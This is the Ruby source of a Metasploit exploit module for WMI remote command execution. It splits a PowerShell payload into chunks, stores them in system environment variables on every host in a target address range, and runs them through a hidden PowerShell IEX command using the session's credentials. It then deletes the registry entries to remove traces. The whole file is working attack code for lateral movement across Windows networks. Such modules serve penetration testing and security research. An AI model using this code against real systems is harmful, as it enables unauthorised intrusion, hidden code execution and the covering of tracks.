##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::WMIC

  def initialize(info={})
    super( update_info( info,
        'Name'          => 'Windows Management Instrumentation (WMI) Remote Command Execution',
        'Description'   => %q{
          This module executes powershell on the remote host using the current
          user credentials or those supplied. Instead of using PSEXEC over TCP
          port 445 we use the WMIC command to start a Remote Procedure Call on
          TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel
          traffic through that session.

          The result is similar to psexec but with the added benefit of using
          the session's current authentication token instead of having to know
          a password or hash.

          We do not get feedback from the WMIC command so there are no
          indicators of success or failure. The remote host must be configured
          to allow remote Windows Management Instrumentation.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [
            'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
          ],
        'References'    =>
          [
            [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
            [ 'OSVDB', '3106'],
            [ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ],
          ],
        'DefaultOptions' =>
            {
                'EXITFUNC' => 'thread',
                'WfsDelay' => '15',
            },
        'DisclosureDate' => 'Jan 01 1999',
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ],
        'Targets'	=>
        [
            [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
            [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
        ],
        'DefaultTarget' => 0
      ))

    register_options([
      OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]),
      # Move this out of advanced
      OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener'])
    ])

    deregister_options("RHOST")
  end

  def exploit
    if datastore['SMBUser'] and datastore['SMBPass'].nil?
      fail_with(Failure::BadConfig, "Need both username and password set.")
    end

    Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
      run_host(server)
    end
  end

  def run_host(server)
    # Get the PSH Payload and split it into bitesize chunks
    # 1024 appears to be the max value allowed in env vars
    psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
    psh = psh[psh.index("$si")..psh.length-1]
    chunks = split_code(psh, 1024)

    begin
      print_status("[#{server}] Storing payload in environment variables")
      env_name = rand_text_alpha(rand(3)+3)
      env_vars = []
      0.upto(chunks.length-1) do |i|
        env_vars << "#{env_name}#{i}"
        c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
        result = wmic_command(c, server)

        unless result
          print_error("[#{server}] WMIC command error - skipping host")
          return false
        end
      end

      x = rand_text_alpha(rand(3)+3)
      exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
      env_vars.each do |env|
        exec_cmd << "+$env:#{env}"
      end
      exec_cmd << ";IEX $#{x};"

      print_status("[#{server}] Executing payload")
      result = wmic_command(exec_cmd, server)

      if result
        if result[:return] == 0
          print_good("[#{server}] Process Started PID: #{result[:pid]}")
        else
          print_error("[#{server}] failed, Return Value: #{result[:return]})")
        end
      else
        print_error("[#{server}] failed...)")
      end

      print_status("[#{server}] Cleaning up environment variables")
      env_vars.each do |env|
        cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
        wmic_command(cleanup_cmd, server)
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("[#{server}] Error moving on... #{e}")
      return false
    end
  end

  def split_code(psh, chunk_size)
    array = []
    idx = 0
    while (idx < psh.length)
      array << psh[idx, chunk_size]
      idx += chunk_size
    end
    return array
  end

end